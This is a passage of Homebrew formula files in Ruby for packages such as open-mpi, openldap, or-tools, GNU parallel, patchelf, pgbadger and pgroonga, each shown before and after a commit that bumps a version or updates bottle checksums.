"https://files.pythonhosted.org/packages/74/0b/34dc83ed0108417358716d218eec8528b24c30597570a71cab929bce2432/reportlab-3.5.42.tar.gz" sha256 "9c21f202697a6cea57b9d716288fc919d99cbabeb30222eebfc7ff77eac32744" end resource "sortedcontainers" do url "https://files.pythonhosted.org/packages/29/e0/135df2e733790a3d3bcda970fd080617be8cea3bd98f411e76e6847c17ef/sortedcontainers-2.1.0.tar.gz" sha256 "974e9a32f56b17c1bac2aebd9dcf197f3eb9cd30553c5852a3187ad162e1a03a" end resource "tqdm" do url "https://files.pythonhosted.org/packages/12/67/e736c012c6c8b4092dd54bb9bdd7737acf9a140a98c58b87c35363d0105d/tqdm-4.45.0.tar.gz" sha256 "00339634a22c10a7a22476ee946bbde2dbe48d042ded784e4d88e0236eca5d81" end def install venv = virtualenv_create(libexec, Formula["python@3.8"].bin/"python3") resource("Pillow").stage do inreplace "setup.py" do |s| sdkprefix = MacOS.sdk_path_if_needed ? MacOS.sdk_path : "" s.gsub! "openjpeg.h", "probably_not_a_header_called_this_eh.h" s.gsub! "ZLIB_ROOT = None", "ZLIB_ROOT = ('#{sdkprefix}/usr/lib', '#{sdkprefix}/usr/include')" s.gsub! "JPEG_ROOT = None", "JPEG_ROOT = ('#{Formula["jpeg"].opt_prefix}/lib', '#{Formula["jpeg"].opt_prefix}/include')" s.gsub! "FREETYPE_ROOT = None", "FREETYPE_ROOT = ('#{Formula["freetype"].opt_prefix}/lib', " \ "'#{Formula["freetype"].opt_prefix}/include')" end # avoid triggering "helpful" distutils code that doesn't recognize Xcode 7 .tbd stubs unless MacOS::CLT.installed? ENV.append "CFLAGS", "-I#{MacOS.sdk_path}/System/Library/Frameworks/Tk.framework/Versions/8.5/Headers" end venv.pip_install Pathname.pwd end # Fix "ld: file not found: /usr/lib/system/libsystem_darwin.dylib" for lxml ENV["SDKROOT"] = MacOS.sdk_path if MacOS.version == :sierra res = resources.map(&:name).to_set - ["Pillow"] res.each do |r| venv.pip_install resource(r) end venv.pip_install_and_link buildpath bash_completion.install "misc/completion/ocrmypdf.bash" => "ocrmypdf" fish_completion.install "misc/completion/ocrmypdf.fish" end test do system "#{bin}/ocrmypdf", "-f", "-q", "--deskew", test_fixtures("test.pdf"), "ocr.pdf" assert_predicate testpath/"ocr.pdf", :exist? end end
class OpenMpi < Formula desc "High performance message passing library" homepage "https://www.open-mpi.org/" url "https://download.open-mpi.org/release/open-mpi/v4.0/openmpi-4.0.4.tar.bz2" sha256 "47e24eb2223fe5d24438658958a313b6b7a55bb281563542e1afc9dec4a31ac4" license "BSD-3-Clause" revision 1 bottle do sha256 "d0fff667ea8857e586804896e548941e21b164a6967ef5b5d4e6f19023e27370" => :catalina sha256 "2a7c4fccb0807f159fa0f5b4021214385e7a38cd573a3f0ae8ea59aa96734e58" => :mojave sha256 "6ca3b12ced550f1ecf9ba0440a86474d1415691cd14e84e949466c82732a72f2" => :high_sierra end head do url "https://github.com/open-mpi/ompi.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "gcc" depends_on "hwloc" depends_on "libevent" conflicts_with "mpich", because: "both install MPI compiler wrappers" def install # otherwise libmpi_usempi_ignore_tkr gets built as a static library ENV["MACOSX_DEPLOYMENT_TARGET"] = MacOS.version # Avoid references to the Homebrew shims directory %w[ ompi/tools/ompi_info/param.c orte/tools/orte-info/param.c oshmem/tools/oshmem_info/param.c opal/mca/pmix/pmix3x/pmix/src/tools/pmix_info/support.c ].each do |fname| inreplace fname, /(OPAL|PMIX)_CC_ABSOLUTE/, "\"#{ENV.cc}\"" end %w[ ompi/tools/ompi_info/param.c oshmem/tools/oshmem_info/param.c ].each do |fname| inreplace fname, "OMPI_CXX_ABSOLUTE", "\"#{ENV.cxx}\"" end ENV.cxx11 args = %W[ --prefix=#{prefix} --disable-dependency-tracking --disable-silent-rules --enable-ipv6 --with-libevent=#{Formula["libevent"].opt_prefix} --with-sge ] args << "--with-platform-optimized" if build.head? system "./autogen.pl" if build.head? system "./configure", *args system "make", "all" system "make", "check" system "make", "install" # Fortran bindings install stray `.mod` files (Fortran modules) in `lib` # that need to be moved to `include`. include.install Dir["#{lib}/*.mod"] end test do (testpath/"hello.c").write <<~EOS #include <mpi.h> #include <stdio.h> int main() { int size, rank, nameLen; char name[MPI_MAX_PROCESSOR_NAME]; MPI_Init(NULL, NULL); MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Get_processor_name(name, &nameLen); printf("[%d/%d] Hello, world! My name is %s.\\n", rank, size, name); MPI_Finalize(); return 0; } EOS system bin/"mpicc", "hello.c", "-o", "hello" system "./hello" system bin/"mpirun", "./hello" (testpath/"hellof.f90").write <<~EOS program hello include 'mpif.h' integer rank, size, ierror, tag, status(MPI_STATUS_SIZE) call MPI_INIT(ierror) call MPI_COMM_SIZE(MPI_COMM_WORLD, size, ierror) call MPI_COMM_RANK(MPI_COMM_WORLD, rank, ierror) print*, 'node', rank, ': Hello Fortran world' call MPI_FINALIZE(ierror) end EOS system bin/"mpif90", "hellof.f90", "-o", "hellof" system "./hellof" system bin/"mpirun", "./hellof" end end open-mpi 4.0.5 Closes #60218. Signed-off-by: Sean Molenaar <2b250e3fea88cfef248b497ad5fc17f7dc435154@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class OpenMpi < Formula desc "High performance message passing library" homepage "https://www.open-mpi.org/" url "https://download.open-mpi.org/release/open-mpi/v4.0/openmpi-4.0.5.tar.bz2" sha256 "c58f3863b61d944231077f344fe6b4b8fbb83f3d1bc93ab74640bf3e5acac009" license "BSD-3-Clause" bottle do sha256 "d0fff667ea8857e586804896e548941e21b164a6967ef5b5d4e6f19023e27370" => :catalina sha256 "2a7c4fccb0807f159fa0f5b4021214385e7a38cd573a3f0ae8ea59aa96734e58" => :mojave sha256 "6ca3b12ced550f1ecf9ba0440a86474d1415691cd14e84e949466c82732a72f2" => :high_sierra end head do url "https://github.com/open-mpi/ompi.git" depends_on "autoconf" => :build depends_on "automake" => :build depends_on "libtool" => :build end depends_on "gcc" depends_on "hwloc" depends_on "libevent" conflicts_with "mpich", because: "both install MPI compiler wrappers" def install # otherwise libmpi_usempi_ignore_tkr gets built as a static library ENV["MACOSX_DEPLOYMENT_TARGET"] = MacOS.version # Avoid references to the Homebrew shims directory %w[ ompi/tools/ompi_info/param.c orte/tools/orte-info/param.c oshmem/tools/oshmem_info/param.c opal/mca/pmix/pmix3x/pmix/src/tools/pmix_info/support.c ].each do |fname| inreplace fname, /(OPAL|PMIX)_CC_ABSOLUTE/, "\"#{ENV.cc}\"" end %w[ ompi/tools/ompi_info/param.c oshmem/tools/oshmem_info/param.c ].each do |fname| inreplace fname, "OMPI_CXX_ABSOLUTE", "\"#{ENV.cxx}\"" end ENV.cxx11 args = %W[ --prefix=#{prefix} --disable-dependency-tracking --disable-silent-rules --enable-ipv6 --with-libevent=#{Formula["libevent"].opt_prefix} --with-sge ] args << "--with-platform-optimized" if build.head? system "./autogen.pl" if build.head? system "./configure", *args system "make", "all" system "make", "check" system "make", "install" # Fortran bindings install stray `.mod` files (Fortran modules) in `lib` # that need to be moved to `include`. include.install Dir["#{lib}/*.mod"] end test do (testpath/"hello.c").write <<~EOS #include <mpi.h> #include <stdio.h> int main() { int size, rank, nameLen; char name[MPI_MAX_PROCESSOR_NAME]; MPI_Init(NULL, NULL); MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); MPI_Get_processor_name(name, &nameLen); printf("[%d/%d] Hello, world! My name is %s.\\n", rank, size, name); MPI_Finalize(); return 0; } EOS system bin/"mpicc", "hello.c", "-o", "hello" system "./hello" system bin/"mpirun", "./hello" (testpath/"hellof.f90").write <<~EOS program hello include 'mpif.h' integer rank, size, ierror, tag, status(MPI_STATUS_SIZE) call MPI_INIT(ierror) call MPI_COMM_SIZE(MPI_COMM_WORLD, size, ierror) call MPI_COMM_RANK(MPI_COMM_WORLD, rank, ierror) print*, 'node', rank, ': Hello Fortran world' call MPI_FINALIZE(ierror) end EOS system bin/"mpif90", "hellof.f90", "-o", "hellof" system "./hellof" system bin/"mpirun", "./hellof" end end
class Openldap < Formula desc "Open source suite of directory software" homepage "https://www.openldap.org/software/" url "https://www.openldap.org/software/download/OpenLDAP/openldap-release/openldap-2.4.46.tgz" sha256 "9a90dcb86b99ae790ccab93b7585a31fbcbeec8c94bf0f7ab0ca0a87ea0c4b2d" bottle do sha256 "2094541bf0f0b265e6cc1518aa5ac223b75834f0aa12bec8e00b6c9469e9b5d9" => :high_sierra sha256 "f8912be8188c34e398b61ff7c1f922eb1d4294b21555de55b0763f8424cd0eaa" => :sierra sha256 "9fe6bd03378eb760c4253a36d3f41f5403e117fa8abe4e263a0190310f65a6de" => :el_capitan end keg_only :provided_by_macos option "with-sssvlv", "Enable server side sorting and virtual list view" depends_on "berkeley-db@4" => :optional depends_on "openssl" def install args = %W[ --disable-dependency-tracking --prefix=#{prefix} --sysconfdir=#{etc} --localstatedir=#{var} --enable-accesslog --enable-auditlog --enable-constraint --enable-dds --enable-deref --enable-dyngroup --enable-dynlist --enable-memberof --enable-ppolicy --enable-proxycache --enable-refint --enable-retcode --enable-seqmod --enable-translucent --enable-unique --enable-valsort ] args << "--enable-bdb=no" << "--enable-hdb=no" if build.without? "berkeley-db@4" args << "--enable-sssvlv=yes" if build.with? "sssvlv" system "./configure", *args system "make", "install" (var+"run").mkpath # https://github.com/Homebrew/homebrew-dupes/pull/452 chmod 0755, Dir[etc/"openldap/*"] chmod 0755, Dir[etc/"openldap/schema/*"] end test do system sbin/"slappasswd", "-s", "test" end end openldap: update 2.4.46 bottle. class Openldap < Formula desc "Open source suite of directory software" homepage "https://www.openldap.org/software/" url "https://www.openldap.org/software/download/OpenLDAP/openldap-release/openldap-2.4.46.tgz" sha256 "9a90dcb86b99ae790ccab93b7585a31fbcbeec8c94bf0f7ab0ca0a87ea0c4b2d" bottle do sha256 "ef50717024faa28ac0818d737c128d54648ec742e47ad0852533034b8ec37a72" => :mojave sha256 "2094541bf0f0b265e6cc1518aa5ac223b75834f0aa12bec8e00b6c9469e9b5d9" => :high_sierra sha256 "f8912be8188c34e398b61ff7c1f922eb1d4294b21555de55b0763f8424cd0eaa" => :sierra sha256 "9fe6bd03378eb760c4253a36d3f41f5403e117fa8abe4e263a0190310f65a6de" => :el_capitan end keg_only :provided_by_macos option "with-sssvlv", "Enable server side sorting and virtual list view" depends_on "berkeley-db@4" => :optional depends_on "openssl" def install args = %W[ --disable-dependency-tracking --prefix=#{prefix} --sysconfdir=#{etc} --localstatedir=#{var} --enable-accesslog --enable-auditlog --enable-constraint --enable-dds --enable-deref --enable-dyngroup --enable-dynlist --enable-memberof --enable-ppolicy --enable-proxycache --enable-refint --enable-retcode --enable-seqmod --enable-translucent --enable-unique --enable-valsort ] args << "--enable-bdb=no" << "--enable-hdb=no" if build.without? "berkeley-db@4" args << "--enable-sssvlv=yes" if build.with? "sssvlv" system "./configure", *args system "make", "install" (var+"run").mkpath # https://github.com/Homebrew/homebrew-dupes/pull/452 chmod 0755, Dir[etc/"openldap/*"] chmod 0755, Dir[etc/"openldap/schema/*"] end test do system sbin/"slappasswd", "-s", "test" end end
class OrTools < Formula desc "Google's Operations Research tools" homepage "https://developers.google.com/optimization/" url "https://github.com/google/or-tools/archive/v9.2.tar.gz" sha256 "5337935ea1fa010bb62cf0fc8bedd6de07dda77bff3db7a0f6a36c84c7bd58db" license "Apache-2.0" revision 2 head "https://github.com/google/or-tools.git", branch: "stable" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any, arm64_monterey: "aaf17ede4a04d1d98613dae6d40a15d1e08d76a465f2bb33564d33ee44d5d3e7" sha256 cellar: :any, arm64_big_sur: "c71afdc482b89efff66c0afa22144f274acae0f4146dccc97ecfa711312f0cb4" sha256 cellar: :any, monterey: "5ff6a675a08b47deb1109c671c18c8da2b1e5da7eec74e33072aaecd8cd93974" sha256 cellar: :any, big_sur: "1a6d9a6bd5d1bb80beb5445520a5f514f820f635964dab34e39a9a1b2ef84902" sha256 cellar: :any, catalina: "bcee2242cb627d4c764a68e4cb1f7fd3fb003617d2e8ed274b842a4bb9c1b5eb" end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "abseil" depends_on "cbc" depends_on "cgl" depends_on "clp" depends_on "coinutils" depends_on "osi" depends_on "protobuf" def install system "cmake", "-S.", "-Bbuild", *std_cmake_args, "-DUSE_SCIP=OFF", "-DBUILD_SAMPLES=OFF", "-DBUILD_EXAMPLES=OFF" system "cmake", "--build", "build", "-v" system "cmake", "--build", "build", "--target", "install" pkgshare.install "ortools/linear_solver/samples/simple_lp_program.cc" pkgshare.install "ortools/constraint_solver/samples/simple_routing_program.cc" pkgshare.install "ortools/sat/samples/simple_sat_program.cc" end test do # Linear Solver & Glop Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", "-L#{Formula["abseil"].opt_lib}", "-labsl_time", pkgshare/"simple_lp_program.cc", "-o", "simple_lp_program" system "./simple_lp_program" # Routing Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", pkgshare/"simple_routing_program.cc", "-o", "simple_routing_program" system "./simple_routing_program" # Sat Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", "-L#{Formula["abseil"].opt_lib}", "-labsl_raw_hash_set", pkgshare/"simple_sat_program.cc", "-o", "simple_sat_program" system "./simple_sat_program" end end or-tools: update 9.2_2 bottle. class OrTools < Formula desc "Google's Operations Research tools" homepage "https://developers.google.com/optimization/" url "https://github.com/google/or-tools/archive/v9.2.tar.gz" sha256 "5337935ea1fa010bb62cf0fc8bedd6de07dda77bff3db7a0f6a36c84c7bd58db" license "Apache-2.0" revision 2 head "https://github.com/google/or-tools.git", branch: "stable" livecheck do url :stable strategy :github_latest end bottle do sha256 cellar: :any, arm64_monterey: "02a9fbeef13c7d71d23e90813d2146839d27a33bb7505ad7b9fa5307e417103e" sha256 cellar: :any, arm64_big_sur: "c444da980eb616ab64cbff22a3ca3ce3d3b63ddf12d3cce759e18927f232eb7b" sha256 cellar: :any, monterey: "76da45521f1c59e6f743946fef2423dd87b7fb1f22cfc9b41fa2cd90cac422f5" sha256 cellar: :any, big_sur: "53f217259a3740dadce9070892a9119203a96f17040aa11109791bda6ee0993d" sha256 cellar: :any, catalina: "8dd8f31ead4765391179b20f26e735e3fbbe3e25f52fe05ba89483badfb8bb12" end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "abseil" depends_on "cbc" depends_on "cgl" depends_on "clp" depends_on "coinutils" depends_on "osi" depends_on "protobuf" def install system "cmake", "-S.", "-Bbuild", *std_cmake_args, "-DUSE_SCIP=OFF", "-DBUILD_SAMPLES=OFF", "-DBUILD_EXAMPLES=OFF" system "cmake", "--build", "build", "-v" system "cmake", "--build", "build", "--target", "install" pkgshare.install "ortools/linear_solver/samples/simple_lp_program.cc" pkgshare.install "ortools/constraint_solver/samples/simple_routing_program.cc" pkgshare.install "ortools/sat/samples/simple_sat_program.cc" end test do # Linear Solver & Glop Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", "-L#{Formula["abseil"].opt_lib}", "-labsl_time", pkgshare/"simple_lp_program.cc", "-o", "simple_lp_program" system "./simple_lp_program" # Routing Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", pkgshare/"simple_routing_program.cc", "-o", "simple_routing_program" system "./simple_routing_program" # Sat Solver system ENV.cxx, "-std=c++17", "-I#{include}", "-L#{lib}", "-lortools", "-L#{Formula["abseil"].opt_lib}", "-labsl_raw_hash_set", pkgshare/"simple_sat_program.cc", "-o", "simple_sat_program" system "./simple_sat_program" end end
class Parallel < Formula desc "GNU parallel shell command" homepage "https://savannah.gnu.org/projects/parallel/" url "https://ftpmirror.gnu.org/parallel/parallel-20170222.tar.bz2" mirror "https://ftp.gnu.org/gnu/parallel/parallel-20170222.tar.bz2" sha256 "6248cae7e0da7702710bf082290054b0ca3d26225fe66f7b03df20f3550ac955" head "http://git.savannah.gnu.org/r/parallel.git" bottle do cellar :any_skip_relocation sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :sierra sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :el_capitan sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :yosemite end conflicts_with "moreutils", :because => "both install a 'parallel' executable." def install system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_equal "test\ntest\n", shell_output("#{bin}/parallel --will-cite echo ::: test test") end end parallel: update 20170222 bottle for Linuxbrew Closes Linuxbrew/homebrew-core#1842 Signed-off-by: Maxim Belkin <032baa6ccf1d4eaa4536fc4f9b83b9a1f593449a@gmail.com> class Parallel < Formula desc "GNU parallel shell command" homepage "https://savannah.gnu.org/projects/parallel/" url "https://ftpmirror.gnu.org/parallel/parallel-20170222.tar.bz2" mirror "https://ftp.gnu.org/gnu/parallel/parallel-20170222.tar.bz2" sha256 "6248cae7e0da7702710bf082290054b0ca3d26225fe66f7b03df20f3550ac955" head "http://git.savannah.gnu.org/r/parallel.git" bottle do cellar :any_skip_relocation sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :sierra sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :el_capitan sha256 "fce1746f6fb33457beb94dd7437f76894313d7b359b67ef44e05622bfd8153e1" => :yosemite sha256 "47816a8f157f82012cda0fefa107ada0f70ff38fcfe78871bd61ccfd3eb8a792" => :x86_64_linux end conflicts_with "moreutils", :because => "both install a 'parallel' executable." def install system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_equal "test\ntest\n", shell_output("#{bin}/parallel --will-cite echo ::: test test") end end
class Parallel < Formula desc "Shell command parallelization utility" homepage "https://savannah.gnu.org/projects/parallel/" url "https://ftp.gnu.org/gnu/parallel/parallel-20200622.tar.bz2" mirror "https://ftpmirror.gnu.org/parallel/parallel-20200622.tar.bz2" sha256 "ff8fafe192a76850e5640b98adb6428f8bdd85ef52c7c43787438c0ac3bc1d3f" head "https://git.savannah.gnu.org/git/parallel.git" bottle do cellar :any_skip_relocation sha256 "d421013ea570e0962c59ef15d206b2234e3b4d91c673f2497dc37f011030fdf2" => :catalina sha256 "d421013ea570e0962c59ef15d206b2234e3b4d91c673f2497dc37f011030fdf2" => :mojave sha256 "d421013ea570e0962c59ef15d206b2234e3b4d91c673f2497dc37f011030fdf2" => :high_sierra end conflicts_with "moreutils", :because => "both install a `parallel` executable." def install system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_equal "test\ntest\n", shell_output("#{bin}/parallel --will-cite echo ::: test test") end end parallel: update 20200622 bottle. class Parallel < Formula desc "Shell command parallelization utility" homepage "https://savannah.gnu.org/projects/parallel/" url "https://ftp.gnu.org/gnu/parallel/parallel-20200622.tar.bz2" mirror "https://ftpmirror.gnu.org/parallel/parallel-20200622.tar.bz2" sha256 "ff8fafe192a76850e5640b98adb6428f8bdd85ef52c7c43787438c0ac3bc1d3f" head "https://git.savannah.gnu.org/git/parallel.git" bottle do cellar :any_skip_relocation sha256 "eff11ec3d9bf05b44b379c0993c5f3687f775b564864cd1557a1168a51ebad61" => :catalina sha256 "eff11ec3d9bf05b44b379c0993c5f3687f775b564864cd1557a1168a51ebad61" => :mojave sha256 "eff11ec3d9bf05b44b379c0993c5f3687f775b564864cd1557a1168a51ebad61" => :high_sierra end conflicts_with "moreutils", :because => "both install a `parallel` executable." def install system "./configure", "--prefix=#{prefix}" system "make", "install" end test do assert_equal "test\ntest\n", shell_output("#{bin}/parallel --will-cite echo ::: test test") end end
class Patchelf < Formula desc "Modify dynamic ELF executables" homepage "https://github.com/NixOS/patchelf" url "https://bintray.com/homebrew/mirror/download_file?file_path=patchelf-0.12.tar.gz" sha256 "2848beb6bbdfbf4efd12d627bdc315b74e7a5ed94a6a7b01c62641cdf4560e51" license "GPL-3.0-or-later" revision 4 head "https://github.com/NixOS/patchelf.git" livecheck do url :head end bottle do cellar :any_skip_relocation sha256 "d83931e807f58c62f0b321b9523d16de6602415f0e19b3702d072b4dec382cb6" => :big_sur sha256 "344c4459a5b03099308520eb7ef906242bca77f08ac1660ac61b74ccd7871b1c" => :catalina sha256 "906cd9171c62947d8133b990bbc15ad7803bb5623f5b72332fa792a01c9634ac" => :mojave sha256 "56a0ff9acc9ab6c5d7f53d6f8ecce4878fd8c547a581960519504cf9e9dfac51" => :x86_64_linux end resource "helloworld" do url "http://timelessname.com/elfbin/helloworld.tar.gz" sha256 "d8c1e93f13e0b7d8fc13ce75d5b089f4d4cec15dad91d08d94a166822d749459" end # Fix unsupported overlap of SHT_NOTE and PT_NOTE # See https://github.com/NixOS/patchelf/pull/230 patch do url "https://github.com/rmNULL/patchelf/commit/6edec83653ce1b5fc201ff6db93b966394766814.patch?full_index=1" sha256 "072eff6c5b33298b423f47ec794c7765a42d58a2050689bb20bf66076afb98ac" end def install on_linux do # Fix ld.so path and rpath # see https://github.com/Homebrew/linuxbrew-core/pull/20548#issuecomment-672061606 ENV["HOMEBREW_DYNAMIC_LINKER"] = File.readlink("#{HOMEBREW_PREFIX}/lib/ld.so") ENV["HOMEBREW_RPATH_PATHS"] = nil end system "./configure", "--prefix=#{prefix}", "CXXFLAGS=-static-libgcc -static-libstdc++", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules" system "make", "install" end test do resource("helloworld").stage do assert_equal "/lib/ld-linux.so.2\n", shell_output("#{bin}/patchelf --print-interpreter chello") assert_equal "libc.so.6\n", shell_output("#{bin}/patchelf --print-needed chello") assert_equal "\n", shell_output("#{bin}/patchelf --print-rpath chello") assert_equal "", shell_output("#{bin}/patchelf --set-rpath /usr/local/lib chello") assert_equal "/usr/local/lib\n", shell_output("#{bin}/patchelf --print-rpath chello") end end end patchelf: reset to revision 2, last known working class Patchelf < Formula desc "Modify dynamic ELF executables" homepage "https://github.com/NixOS/patchelf" url "https://bintray.com/homebrew/mirror/download_file?file_path=patchelf-0.12.tar.gz" sha256 "2848beb6bbdfbf4efd12d627bdc315b74e7a5ed94a6a7b01c62641cdf4560e51" license "GPL-3.0-or-later" revision 2 head "https://github.com/NixOS/patchelf.git" livecheck do url :head end bottle do cellar :any_skip_relocation sha256 "d83931e807f58c62f0b321b9523d16de6602415f0e19b3702d072b4dec382cb6" => :big_sur sha256 "344c4459a5b03099308520eb7ef906242bca77f08ac1660ac61b74ccd7871b1c" => :catalina sha256 "906cd9171c62947d8133b990bbc15ad7803bb5623f5b72332fa792a01c9634ac" => :mojave sha256 "0ef4927c243064a2ca308aa8c7b8776b6ebe93b5c4a48e4e9666f7d73338efba" => :x86_64_linux end resource "helloworld" do url "http://timelessname.com/elfbin/helloworld.tar.gz" sha256 "d8c1e93f13e0b7d8fc13ce75d5b089f4d4cec15dad91d08d94a166822d749459" end # Fix unsupported overlap of SHT_NOTE and PT_NOTE # See https://github.com/NixOS/patchelf/pull/230 patch do url "https://github.com/rmNULL/patchelf/commit/6edec83653ce1b5fc201ff6db93b966394766814.patch?full_index=1" sha256 "072eff6c5b33298b423f47ec794c7765a42d58a2050689bb20bf66076afb98ac" end def install on_linux do # Fix ld.so path and rpath # see https://github.com/Homebrew/linuxbrew-core/pull/20548#issuecomment-672061606 ENV["HOMEBREW_DYNAMIC_LINKER"] = File.readlink("#{HOMEBREW_PREFIX}/lib/ld.so") ENV["HOMEBREW_RPATH_PATHS"] = nil end system "./configure", "--prefix=#{prefix}", "CXXFLAGS=-static-libgcc -static-libstdc++", "--disable-debug", "--disable-dependency-tracking", "--disable-silent-rules" system "make", "install" end test do resource("helloworld").stage do assert_equal "/lib/ld-linux.so.2\n", shell_output("#{bin}/patchelf --print-interpreter chello") assert_equal "libc.so.6\n", shell_output("#{bin}/patchelf --print-needed chello") assert_equal "\n", shell_output("#{bin}/patchelf --print-rpath chello") assert_equal "", shell_output("#{bin}/patchelf --set-rpath /usr/local/lib chello") assert_equal "/usr/local/lib\n", shell_output("#{bin}/patchelf --print-rpath chello") end end end
class Pgbadger < Formula desc "Log analyzer for PostgreSQL" homepage "https://pgbadger.darold.net/" url "https://github.com/darold/pgbadger/archive/v11.1.tar.gz" sha256 "188ac6c794b08abc8b3ded24f310d4edfedc0202e8954aae9dc2558f98c6635f" head "https://github.com/darold/pgbadger.git" bottle do cellar :any_skip_relocation sha256 "3738113af92e8830126eb376b23650e6da86de99f1d475cbb468f4d976be1483" => :catalina sha256 "3738113af92e8830126eb376b23650e6da86de99f1d475cbb468f4d976be1483" => :mojave sha256 "50dd1d8fce4933490a489f2a5a94cd4a25900dea447a2e415897d703ae82a4a7" => :high_sierra end def install system "perl", "Makefile.PL", "DESTDIR=#{buildpath}" system "make" system "make", "install" bin.install "usr/local/bin/pgbadger" man1.install "usr/local/share/man/man1/pgbadger.1p" end def caveats <<~EOS You must configure your PostgreSQL server before using pgBadger. Edit postgresql.conf (in #{var}/postgres if you use Homebrew's PostgreSQL), set the following parameters, and restart PostgreSQL: log_destination = 'stderr' log_line_prefix = '%t [%p]: [%l-1] user=%u,db=%d ' log_statement = 'none' log_duration = off log_min_duration_statement = 0 log_checkpoints = on log_connections = on log_disconnections = on log_lock_waits = on log_temp_files = 0 lc_messages = 'C' EOS end test do (testpath/"server.log").write <<~EOS LOG: autovacuum launcher started LOG: database system is ready to accept connections EOS system bin/"pgbadger", "-f", "syslog", "server.log" assert_predicate testpath/"out.html", :exist? end end pgbadger 11.2 Closes #51857. Signed-off-by: Issy Long <b1c1d8736f20db3fb6c1c66bb1455ed43909f0d8@issyl0.co.uk> class Pgbadger < Formula desc "Log analyzer for PostgreSQL" homepage "https://pgbadger.darold.net/" url "https://github.com/darold/pgbadger/archive/v11.2.tar.gz" sha256 "74527a09e2e68918d2714c55a776f8f19bba9dd62a9f49a3f5ffd59e0812bfa3" head "https://github.com/darold/pgbadger.git" bottle do cellar :any_skip_relocation sha256 "3738113af92e8830126eb376b23650e6da86de99f1d475cbb468f4d976be1483" => :catalina sha256 "3738113af92e8830126eb376b23650e6da86de99f1d475cbb468f4d976be1483" => :mojave sha256 "50dd1d8fce4933490a489f2a5a94cd4a25900dea447a2e415897d703ae82a4a7" => :high_sierra end def install system "perl", "Makefile.PL", "DESTDIR=#{buildpath}" system "make" system "make", "install" bin.install "usr/local/bin/pgbadger" man1.install "usr/local/share/man/man1/pgbadger.1p" end def caveats <<~EOS You must configure your PostgreSQL server before using pgBadger. Edit postgresql.conf (in #{var}/postgres if you use Homebrew's PostgreSQL), set the following parameters, and restart PostgreSQL: log_destination = 'stderr' log_line_prefix = '%t [%p]: [%l-1] user=%u,db=%d ' log_statement = 'none' log_duration = off log_min_duration_statement = 0 log_checkpoints = on log_connections = on log_disconnections = on log_lock_waits = on log_temp_files = 0 lc_messages = 'C' EOS end test do (testpath/"server.log").write <<~EOS LOG: autovacuum launcher started LOG: database system is ready to accept connections EOS system bin/"pgbadger", "-f", "syslog", "server.log" assert_predicate testpath/"out.html", :exist? end end
class Pgroonga < Formula desc "PostgreSQL plugin to use Groonga as index" homepage "https://pgroonga.github.io/" url "https://packages.groonga.org/source/pgroonga/pgroonga-1.1.9.tar.gz" sha256 "4f19b2ac3fef7299a9324ec84d521a5c4a9f01df190f1eff59ae5b44297f4e1d" revision 1 bottle do cellar :any sha256 "cf09b1a5298840c222507f58f12eae4945d94dfb7a525d989f2dee2a9a17f9cc" => :sierra sha256 "b3f2459cab54faffbd03ec745cff048c920c76ee4d53631e5a2b9fdbd18937ec" => :el_capitan sha256 "80755812f6f164b1421915e8fe46454ff21d3deb73b3b6491a04cdc4d1d3bf1b" => :yosemite end depends_on "pkg-config" => :build depends_on "groonga" depends_on "postgresql" def install system "make" mkdir "stage" system "make", "install", "DESTDIR=#{buildpath}/stage" lib.install Dir["stage/**/lib/*"] (share/"postgresql/extension").install Dir["stage/**/share/postgresql/extension/*"] end test do pg_bin = Formula["postgresql"].opt_bin pg_port = "55561" system "#{pg_bin}/initdb", testpath/"test" pid = fork { exec "#{pg_bin}/postgres", "-D", testpath/"test", "-p", pg_port } begin sleep 2 system "#{pg_bin}/createdb", "-p", pg_port system "#{pg_bin}/psql", "-p", pg_port, "--command", "CREATE DATABASE test;" system "#{pg_bin}/psql", "-p", pg_port, "-d", "test", "--command", "CREATE EXTENSION pgroonga;" ensure Process.kill 9, pid Process.wait pid end end end pgroonga: update 1.1.9_1 bottle. class Pgroonga < Formula desc "PostgreSQL plugin to use Groonga as index" homepage "https://pgroonga.github.io/" url "https://packages.groonga.org/source/pgroonga/pgroonga-1.1.9.tar.gz" sha256 "4f19b2ac3fef7299a9324ec84d521a5c4a9f01df190f1eff59ae5b44297f4e1d" revision 1 bottle do cellar :any sha256 "8658cffecf94bf8dcc8646a1d4c77f1f7decc6585237d53c4579cdaf031c1a36" => :high_sierra sha256 "cf09b1a5298840c222507f58f12eae4945d94dfb7a525d989f2dee2a9a17f9cc" => :sierra sha256 "b3f2459cab54faffbd03ec745cff048c920c76ee4d53631e5a2b9fdbd18937ec" => :el_capitan sha256 "80755812f6f164b1421915e8fe46454ff21d3deb73b3b6491a04cdc4d1d3bf1b" => :yosemite end depends_on "pkg-config" => :build depends_on "groonga" depends_on "postgresql" def install system "make" mkdir "stage" system "make", "install", "DESTDIR=#{buildpath}/stage" lib.install Dir["stage/**/lib/*"] (share/"postgresql/extension").install 